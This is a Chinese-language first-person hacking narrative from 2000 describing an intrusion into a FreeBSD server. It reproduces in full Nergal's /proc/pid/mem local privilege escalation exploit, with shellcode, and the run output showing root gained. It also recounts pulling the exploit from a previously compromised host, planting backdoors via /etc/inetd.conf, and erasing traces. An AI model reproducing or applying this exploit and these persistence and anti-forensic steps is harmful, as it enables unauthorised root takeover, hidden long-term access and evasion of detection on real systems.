入侵过程（下）
2000-06-07 00:00:00·
quack·不详
∠瓤纯从忻挥斜嘁氲娜ㄏ拊偎蛋桑裨蚧沟谜乙惶˙SD来编译……
$#@62; ls /usr/local/bin|grep gcc
gcc
一般情况下自己安装的gcc是会在这个目录的啦，否则最好find一下比较保险。
这下方便了……可以直接传代码上来试……
试了几个之后我找到这么个东西：
/* by Nergal */
#include $#@60;errno.h$#@62;
#include $#@60;signal.h$#@62;
#include $#@60;stdio.h$#@62;
#include $#@60;stdlib.h$#@62;
#include $#@60;unistd.h$#@62;
#include $#@60;fcntl.h$#@62;
#include $#@60;string.h$#@62;
#include $#@60;signal.h$#@62;
#include $#@60;sys/wait.h$#@62;
char shellcode[] =
"\xeb\x0a\x62\x79\x20\x4e\x65\x72\x67\x61\x6c\x20"
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04\x00";
#define PASSWD "./passwd"
void
sg(int x)
{
}
int
main(int argc, char **argv)
{
unsigned int stack, shaddr;
int pid,schild;
int fd;
char buff[40];
unsigned int status;
char *ptr;
char name[4096];
char sc[4096];
char signature[] = "signature";
signal(SIGUSR1, sg);
if (symlink("usr/bin/passwd",PASSWD) && errno!=EEXIST)
{
perror("creating symlink:");
exit(1);
}
shaddr=(unsigned int)&shaddr;
stack=shaddr-2048;
if (argc$#@62;1)
shaddr+=atoi(argv[1]);
if (argc$#@62;2)
stack+=atoi(argv[2]);
fprintf(stderr,"shellcode addr=0x%x stack=0x%x\n",shaddr,stack);
fprintf(stderr,"Wait for \"Press return\" prompt:\n");
memset(sc, 0x90, sizeof(sc));
strncpy(sc+sizeof(sc)-strlen(shellcode)-1, shellcode,strlen(shellcode));
strncpy(sc,"EGG=",4);
memset(name,x,sizeof(name));
for (ptr = name; ptr $#@60; name + sizeof(name); ptr += 4)
*(unsigned int *) ptr = shaddr;
name[sizeof(name) - 1] = 0;
pid = fork();
switch (pid) {
case -1:
perror("fork");
exit(1);
case 0:
pid = getppid();
sprintf(buff, "/proc/%d/mem", pid);
fd = open(buff, O_RDWR);
if (fd $#@60; 0) {
perror("open procmem");
wait(NULL);
exit(1);
}
/* wait for child to execute suid program */
kill(pid, SIGUSR1);
do {
lseek(fd, (unsigned int) signature, SEEK_SET);
} while
(read(fd, buff, sizeof(signature)) == sizeof(signature) &&
!strncmp(buff, signature, sizeof(signature)));
lseek(fd, stack, SEEK_SET);
switch (schild = fork()) {
case -1:
perror("fork2");
exit(1);
case 0:
dup2(fd, 2);
sleep(2);
execl(PASSWD, name, "blahblah", 0);
printf("execl failed\n");
exit(1);
default:
waitpid(schild, &status, 0);
}
fprintf(stderr, "\nPress return.\n");
exit(1);
default:
/* give parent time to open /proc/pid/mem */
pause();
putenv(sc);
execl(PASSWD, "passwd", NULL);
perror("execl");
exit(0);
}
}
偶说一下这个漏洞的由来吧：
早在1997年在*BSD里就发现了一个致命漏洞存在于procfs可以导致本地用户夺取root权限，*BSD核心中做了简单的修补，但不幸的是，时至今日，我们仍然可以通过对/proc/pid/mem的操作夺取root权限……当然，要利用这个程序拿ROOT，procfs文件系统必须是mounted的，在默认的FreeBSD3.3里是mounted着的。我们先来看看这台机器上的情况如何，别白忙一场……
$#@62; /sbin/mount
/dev/wd0s1a on / (local, writes: sync 12 async 134)
/dev/wd0s1h on /home (local, writes: sync 2 async 120)
/dev/wd0s1f on /usr (local, writes: sync 2 async 93)
/dev/wd0s1g on /usr/local (local, writes: sync 2 async 16)
/dev/wd0s1e on /var (local, writes: sync 118 async 498)
procfs on /proc (local)
呵呵不错，看到没有那procfs on字样？看来老天帮忙了……
一个无特权的进程A自我调用子进程B，A打开/proc/pid-of-B/mem，B执行一个setuid的二进制程序，现在B与A的euid已经不同了，但A仍然通过/proc/pid-of-B/mem的描述符控制B进程，就可能做很多事了……
In order to stop this exploit, an additional check was added to the code
responsible for I/O on file descriptors referring to procfs pseudofiles. In
miscfs/procfs/procfs.h (from FreeBSD 3.0) we read:
/*
* Check to see whether access to target process is allowed
* Evaluates to 1 if access is allowed.
*/
#define CHECKIO(p1, p2) \
((((p1)-$#@62;p_cred-$#@62;pc_ucred-$#@62;cr_uid == (p2)-$#@62;p_cred-$#@62;p_ruid) && \
((p1)-$#@62;p_cred-$#@62;p_ruid == (p2)-$#@62;p_cred-$#@62;p_ruid) && \
((p1)-$#@62;p_cred-$#@62;p_svuid == (p2)-$#@62;p_cred-$#@62;p_ruid) && \
((p2)-$#@62;p_flag & P_SUGID) == 0) || \
(suser((p1)-$#@62;p_cred-$#@62;pc_ucred, &(p1)-$#@62;p_acflag) == 0))
As we see, process performing I/O (p1) must have the same uids as
target process (p2), unless... p1 has root priviledges. So, if
we can trick a setuid program X into writing to a file descriptor
F referring to a procfs object, the above check will not prevent
X from writing. As some of readers certainly already have guessed,
Fs number will be 2, stderr fileno... We can pass to a setuid
program an appropriately lseeked file descriptor no 2 (pointing to
some /proc/pid/mem), and this program will blindly write there
error messages. Such output is often partially controllable (e.g.
contains programs name), so we can write almost arbitrary data
onto other setuid programs memory.
This scenario looks similar to
close(fileno(stderr)); execl("setuid-program",...)
exploits, but in fact differs profoundly. It exploits the fact
that the properties of a fd pointing into procfs is not
determined fully by "open" syscall (all other fd are; skipping
issues related to securelevels). These properties can change
because of priviledged code execution. As a result, (priviledged)
children of some process P can inherit a fd opened read-write,
though P cant directly gain such fd via open syscall.
懒得把它弄成中文的了……感兴趣则看，不感兴趣就跳过吧……
好，那就把漏洞利用程序rcp过去吧
$#@62;rcp root@***.***.***.**:/tmp/pcnfs.c /tmp/
其中***.***.***.**是以前的一个倒霉蛋，/下被加了+ +的家伙……
编译运行——可能得对程序做一些小小的更改……
$#@62;gcc pcnfs.c -o p
$#@62;./p -4000 -10000
shellcode addr=0xbfbfcd4c stack=0xbfbfaddc
Wait for "Press return" prompt:
New password:
Press return.
id
uid=1003(ccc) gid=1003(ccc) euid=0(root) groups=1003(ccc)
wowowo!我是root啦……哈哈，也就是说，俺现在在这个系统里可以为所欲为了……
再试试对/home/www目录有没有写权限吧……
echo test$#@62;/home/www/test.txt;ls /home/www|grep test
test.txt
呵，好了，大功告成……一般情况下做到这步后你原来修改主页的欲望就会消散了，毕
竟咱们不是以破坏系统为乐的人，我们只是希望网络社会更加健康，所以——俺也没改
什么东西，只是留了几个后门就bye-bye了……咱没有太多的系统可供学习，只好在这些
远程机器上多学多看了——所以，留个后门还是必要的啦。
当然擦脚印等等活还是要干的，让人发现系统曾经有人尝试过入侵究竟不是一件好事。万
事OK后就可以走人了。
这个root有重新启动系统的坏习惯，三天后我再登上系统时，发现
# id
uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty),
5(operator), 20(staff), 31(guest)
呵，看来往/etc/inetd.conf里加的shell由root大人自己启动了……至于这个系统，其实它
有安装防火墙软件的，要不是其中有一个用户偷懒，还是很难入侵成功的……希望这对国内
的管理员也是一个警示吧，因为国内的网络安全状况实在还是不容乐观……
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